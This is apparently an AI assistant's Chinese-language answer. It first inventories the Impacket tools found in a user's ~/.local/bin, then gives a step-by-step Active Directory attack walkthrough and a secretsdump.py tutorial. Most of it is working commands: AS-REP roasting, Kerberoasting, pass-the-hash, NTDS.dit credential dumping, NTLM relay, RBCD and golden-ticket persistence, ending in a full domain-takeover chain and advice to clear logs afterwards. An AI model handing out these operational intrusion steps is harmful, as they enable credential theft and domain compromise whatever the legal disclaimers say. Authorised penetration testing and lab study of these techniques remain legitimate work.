OpenClaw安装的Python安全工具
目录内容分析
1. 目录路径
~/.local/bin 是用户本地 Python 脚本软链接 / 可执行文件目录,pip 安装工具时会自动把命令脚本放这里。
2. 文件分类识别
① Impacket 域渗透工具(绝大多数.py文件)
这一整套全是 Impacket 库自带的 AD 域渗透脚本,Windows 内网 / 域环境攻击工具:
- 凭证抓取:
secretsdump.py、GetNPUsers.py、GetUserSPNs.py、GetLAPSPassword.py、Get-GPPPassword.py - 远程执行:
psexec.py、wmiexec.py、smbexec.py、atexec.py、dcomexec.py - Kerberos 票据:
getTGT.py、getST.py、goldenPac.py、ticketer.py、ticketConverter.py - 权限劫持 / 中继:
ntlmrelayx.py、rbcd.py、dacledit.py、badsuccessor.py、owneredit.py - 信息搜集:
GetADUsers.py、GetADComputers.py、ldapdomaindump、rpcdump.py、reg.py、samrdump.py - MSSQL 数据库工具:
mssqlclient.py、checkMSSQLStatus.py、mssqlinstance.py - DPAPI 凭据导出:
dpapi.py、dpapidump.py - 其它内网工具:
smbserver.py、netview.py、lookupsid.py、karmaSMB.py、ntfs-read.py
② 辅助渗透小工具(无后缀可执行文件)
ldapdomaindump:LDAP 域信息导出ldd2bloodhound/ldd2pretty:BloodHound 域图谱数据格式化normalizer:BloodHound 数据归一化wsdump:WS 协议抓包解析playwright:Python 自动化浏览器(爬虫 / 网页自动化)skillhub/oc-skills:自定义业务脚本(7 月 7 日创建,非开源渗透工具)flask:Python Web 框架启动命令
③ 缓存目录
__pycache__:Python 字节码缓存文件夹,无需手动操作
3. 权限与时间说明
- 权限区分
-rwxr-xr-x:仅所有者可写,其他用户只读执行-rwxrwxr-x:同组用户也可读写执行(后面新增工具都是这个权限)
- 创建时间
playwright/skillhub/oc-skills:7 月 7 日创建- 剩余全部 Impacket 域工具:7 月 11 日 21:08 批量生成,说明当天批量安装了 Impacket
4. 常见相关操作建议
查看工具来源
运行
# 查看impacket安装信息
pip show impacket
# 查看flask、playwright
pip list | grep -E "impacket|flask|playwright"
清理不需要的域工具(如需)
运行
# 批量删除所有impacket py脚本
rm -f ~/.local/bin/*.py
# 删除bloodhound相关工具
rm -f ldd2* ldapdomaindump normalizer wsdump
检查环境变量是否加载该目录
运行
echo PATH | grep .local/bin
# 没输出就加到~/.bashrc
echo 'export PATH="HOME/.local/bin:$PATH"' >> ~/.bashrc
source ~/.bashrc
风险提示
该服务器存在全套 Windows 域渗透工具(Impacket 套件),如果是业务服务器,存在内网横向移动、域控凭证窃取的攻击风险,若无合规渗透测试用途建议卸载:
运行
pip uninstall impacket -y
如何使用这些工具进行AD域渗透测试?重要前置合规警告AD 域渗透仅允许在自己拥有完全授权、签订书面渗透测试授权书的内网 / 域环境操作,未授权访问、抓取域账号、横向移动属于违法犯罪行为(《网络安全法》《刑法》非法侵入计算机信息系统罪),严禁对公网、企业非授权服务器、域环境随意测试。下面仅做安全学习、授权测试场景的原理与标准使用流程讲解,所有操作仅限个人实验靶场(如自建 Windows AD 域 + Kali/Ubuntu)。一、前置环境准备(你当前 Ubuntu 环境)你机器已装好 impacket 全套工具,环境确认:bash运行# 验证工具可用
secretsdump.py -h
GetUserSPNs.py -h
实验必备信息(授权靶场提前收集):
AD 域域名:test.local
域控 IP:192.168.10.10
有效普通域账号 / 机器账号(低权限起步):user01 / 密码 Passw0rd!
域内主机 IP 列表、开放端口(LDAP 389、SMB 445、RPC 135)
二、AD 渗透标准完整流程(Impacket 工具对应操作)阶段 1:域信息收集(无凭证 / 低权限)1. LDAP 导出全域信息 ldapdomaindump抓取域用户、计算机、组、GPO、SPN,输出 html/json 给 BloodHound 分析bash运行# 匿名LDAP查询(域允许匿名时)
ldapdomaindump 192.168.10.10 -o ldap_out/
带域账号查询(推荐,信息最全)
ldapdomaindump test.local/user01:Passw0rd!@192.168.10.10 -o ldap_out/
导出后可用 normalizer / ldd2bloodhound 转换成 BloodHound 导入文件:bash运行ldd2bloodhound ldap_out/domain_users.json
- RPC 枚举主机、SID 信息 lookupsid.py爆破域内所有用户 SID,枚举存活账号:bash运行lookupsid.py test.local/user01:Passw0rd!@192.168.10.10
- 枚举域内计算机 GetADComputers.py拿到所有域内服务器、工作站主机名 + IP:bash运行GetADComputers.py test.local/user01:Passw0rd!@192.168.10.10
- 枚举域用户 GetADUsers.py导出所有域用户、描述、过期策略、是否启用:bash运行GetADUsers.py -all test.local/user01:Passw0rd!@192.168.10.10
阶段 2:Kerberos 攻击(高频提权入口)1. AS-REP Roast(无预认证用户抓取,GetNPUsers.py)找出设置了Do not require Kerberos preauthentication的用户,导出哈希离线爆破:bash运行# 导出hash保存到txt
GetNPUsers.py test.local/ -dc-ip 192.168.10.10 -usersfile userlist.txt -output hashes.txt
无账号匿名查询部分环境支持
GetNPUsers.py test.local/ -dc-ip 192.168.10.10
拿到krb5asrep哈希后用 hashcat 爆破密码。2. SPN Roasting(服务账号爆破 GetUserSPNs.py)查询所有注册 SPN 的服务账号,导出 TGS 票据哈希离线破解:bash运行GetUserSPNs.py test.local/user01:Passw0rd! -dc-ip 192.168.10.10 -output spn_hashes.txt
哈希格式krb5tgs,破解后获取服务账号明文。3. LAPS 本地管理员密码读取 GetLAPSPassword.py若域开启 LAPS,有权限账号可读取各主机本地管理员随机密码:bash运行GetLAPSPassword.py test.local/user01:Passw0rd!@192.168.10.10
- GPP 明文密码抓取 Get-GPPPassword.py老域控组策略遗留 XML 存储本地管理员密码(AES 固定密钥可解密):bash运行Get-GPPPassword.py test.local/user01:Passw0rd!@192.168.10.10
阶段 3:远程登录 & 横向移动工具(拿到账号后内网漫游)全部依赖 SMB/RPC/WMI 协议,常用 4 种执行工具:
psexec.py:模拟 psexec,创建服务执行命令(445 端口)
bash运行psexec.py test.local/adadmin:Admin123!@192.168.10.20
wmiexec.py:WMI 无文件执行,隐蔽性更高
bash运行wmiexec.py test.local/adadmin:Admin123!@192.168.10.20
smbexec.py:基于共享文件夹执行,不创建服务
atexec.py:计划任务执行命令
批量扫描内网 SMB 存活:netview.pybash运行netview.py test.local/user01:Passw0rd! -targets ip_list.txt
阶段 4:凭证 dump(拿下主机后抓取本地 / 域凭证)secretsdump.py(最核心工具)
远程 dump 域控 SAM、NTDS.dit(域控本机执行直接拿全域账号哈希)
bash运行# 远程读取域控NTDS,导出所有域用户NTLM哈希
secretsdump.py test.local/dcadmin:DcPass123!@192.168.10.10
普通主机 dump 本地 SAM、缓存域凭证:
bash运行secretsdump.py test.local/localadmin:Local123!@192.168.10.20
输出 NTLM 哈希可用于 Pass-the-Hash(哈希传递)mimikatz.py远程调用 mimikatz 抓取内存明文、kerberos 票据:bash运行mimikatz.py test.local/admin:xxx@192.168.10.30
阶段 5:票据劫持 & 域控持久化(黄金票据 / 白银票据 ticketer.py)
从 secretsdump 导出 krbtgt 账号 NTLM 哈希(域控专属)
ticketer 生成黄金票据,可伪造任意管理员访问域控
bash运行ticketer.py -nthash krbtgt_hash -domain test.local -domain-sid S-1-5-21-xxx -user Administrator golden.kirbi
getST.py 生成白银票据伪造服务权限;getTGT 获取合法 TGT 票据
票据导入内存后可无密码访问所有域资源
阶段 6:权限漏洞利用(域提权高危漏洞)
RBCD 基于资源的约束委派 rbcd.py
低权限账号给受控主机添加机器账号委派权限,伪造域管理员票据提权
bash运行rbcd.py -delegate-to “DC” -delegate-from “ATTACKERPC” test.local/user01:Passw0rd!@192.168.10.10
dacledit.py:ACL 权限篡改,给普通用户添加域管理员权限
addcomputer.py:添加恶意机器账号(配合 RBCD 使用)
ntlmrelayx.py:NTLM 中继攻击(内网中间人,中继 SMB/LDAP 认证接管机器)
bash运行# 开启中继监听
ntlmrelayx.py -t smb://192.168.10.20
配合responder劫持内网NetNTLM请求
阶段 7:MSSQL 数据库域内渗透bash运行# 枚举内网MSSQL实例
mssqlinstance.py 192.168.10.0/24
连接MSSQL并执行命令
mssqlclient.py test.local/sqlsvc:SqlPass@192.168.10.50 -windows-auth
三、经典攻击链路实战示例(靶场完整流程)
匿名 ldapdomaindump 收集域用户
GetNPUsers/GetUserSPNs 导出 kerberos 哈希离线爆破,拿到服务账号svc_web
wmiexec.py 登录 web 服务器
secretsdump.py 抓取本地缓存域管理员 NTLM 哈希
psexec.py 哈希传递登录域控:
bash运行psexec.py test.local/administrator@192.168.10.10 -hashes aad3b435b51404ee:xxxxxxxxxxxx
secretsdump.py 导出 NTDS.dit,获取全域账号哈希
ticketer.py 生成黄金票据实现持久化控制
四、安全限制与风险说明
公网严禁扫描 445/389/135 端口:云厂商、防火墙会直接封禁服务器 IP,同时触犯法律;
生产环境无授权使用上述工具会承担民事赔偿 + 刑事责任;
Impacket 工具大量行为会被 EDR、域控审计日志记录(登录事件、LDAP 查询、服务创建、票据操作),极易被安全设备告警溯源;
云服务器(你当前腾讯云 VM)对外发起 SMB 爆破、LDAP 扫描会触发平台风控,直接隔离实例。
五、合规学习建议
本地搭建虚拟机靶场:Windows Server AD 域 + Ubuntu 虚拟机学习;
平台合法靶场:Hack The Box、TryHackMe 域渗透靶机;
用途仅限安全攻防学习、企业内部授权红蓝对抗;
测试完成后及时清理日志、删除生成的票据 / 哈希文件。
如何使用secretsdump.py进行域内用户密码哈希值抓取?重要合规前置提醒secretsdump.py 用于抓取 Windows 主机 / AD 域控账号凭证,仅可在拥有书面正式授权的测试靶场、企业授权红蓝对抗环境使用;未经授权扫描、抓取内网服务器、域控密码哈希,涉嫌触犯《网络安全法》《刑法》非法侵入计算机信息系统罪,严禁对公网、他人企业内网操作。
以下操作仅用于安全学习、自建 AD 实验环境。一、工具基础原理secretsdump.py 是 Impacket 核心工具,支持三种数据源提取哈希:
普通 Windows 主机:读取 SAM 本地账号 + SECURITY 缓存域凭证
AD 域控制器:远程读取 NTDS.dit 全域所有域用户 NTLM 哈希(核心用途)
离线文件:本地导出的 SAM、SYSTEM、NTDS.dit 文件解析
通信依赖端口:SMB 445、RPC 135,目标防火墙放行端口才能执行。二、基础语法格式bash运行secretsdump.py [域/本地账号]:[密码]@目标IP
哈希传递无明文密码场景
secretsdump.py [用户名]@目标IP -hashes LM哈希:NTLM哈希
三、分场景实操命令场景 1:有明文账号密码,抓取普通域内工作站 / 服务器本地哈希适用于拿到普通域用户 / 本地管理员账号,抓取单机本地账号 + 缓存域凭据:bash运行# 格式:域名/用户名:密码@目标IP
secretsdump.py corp.local/adm:Admin@123@192.168.1.100
执行后输出内容:
本地 SAM 账号 NTLM 哈希
LSA 缓存的域登录凭证(登录过这台机器的域管理员哈希)
DPAPI、服务账号凭据
场景 2:有明文域管理员,远程抓取域控全域用户哈希(最常用)目标为域控 DC IP,执行后导出域数据库ntds.dit里全部域用户、机器账号、krbtgt 哈希:bash运行secretsdump.py corp.local/dcadmin:DcPass@2025@192.168.1.10
输出会包含:
所有域用户 username:rid:lmhash:nthash 格式哈希
krbtgt 账号哈希(制作黄金票据必备)
域内所有计算机机器账号哈希
场景 3:无明文密码,使用哈希传递(Pass-the-Hash)登录抓取仅拥有 NTLM 哈希,不用明文密码:bash运行# 完整哈希格式 LM:NTLM,LM通常全零
secretsdump.py corp.local/administrator@192.168.1.10 -hashes aad3b435b51404ee:9c1c6c8d316d8d8d7d7d7d7d7d7d7d7d
场景 4:本地管理员账号(非域账号)抓取单机凭证目标主机本地管理员账号:bash运行secretsdump.py Administrator:LocalPass123@192.168.1.50
场景 5:将哈希输出保存到文件(用于 hashcat 离线爆破)bash运行# 输出全部凭证到txt
secretsdump.py corp.local/dcadmin:DcPass@2025@192.168.1.10 > domain_hashes.txt
只提取标准NTLM哈希行过滤保存
secretsdump.py corp.local/dcadmin:DcPass@2025@192.168.1.10 | grep -E “:[0-9a-f]{32}:” > clean_hash.txt
场景 6:离线解析已导出的 NTDS.dit+SYSTEM 文件(域控本地取证)若已经从域控拷贝出 ntds.dit 和 system 注册表文件,无需联网直接解析:bash运行secretsdump.py -ntds ntds.dit -system system
四、关键参数补充(高频实用)
-just-dc:仅导出域控 NTDS 全域哈希,过滤本地 SAM 无关输出,精简结果
bash运行secretsdump.py corp.local/dcadmin:DcPass@2025@192.168.1.10 -just-dc
-just-dc-user 用户名:只导出指定单个域用户哈希
bash运行secretsdump.py corp.local/dcadmin:DcPass@2025@192.168.1.10 -just-dc-user krbtgt
-no-pass:无密码尝试匿名连接(绝大多数环境拦截,成功率极低)
-debug:打印详细连接排错日志,445 不通、权限不足时排查使用
五、常见报错与解决
SMB SessionError: STATUS_ACCESS_DENIED
账号权限不足:抓取域控需要域管理员 / 域企业管理员权限,普通域用户无法读取 ntds.dit
Could not connect to SMB
目标防火墙拦截 445 端口、Windows 防火墙拦截入站 SMB、云服务器封禁 445
STATUS_PIPE_DISCONNECTED
目标开启 EDR / 杀毒拦截 secretsdump 远程读取注册表,可改用 wmiexec+mimikatz 本地抓取
六、后续利用方式
离线爆破:将 aad3b435b51404ee:NTLM 哈希丢入 hashcat 破解明文密码
哈希传递横向移动:搭配 psexec.py/wmiexec.py 使用 -hashes 参数登录其他主机
域持久化:提取 krbtgt 哈希,配合 ticketer.py 生成黄金票据
七、生产环境风险提示
secretsdump 远程读取 ntds.dit 会在域控产生大量高风险审计日志,极易被安全设备告警;
云服务器对外批量 445 请求会触发运营商 / 云平台风控,直接封禁实例;
仅授权测试使用,操作后需清理测试日志、删除导出的哈希凭证文件。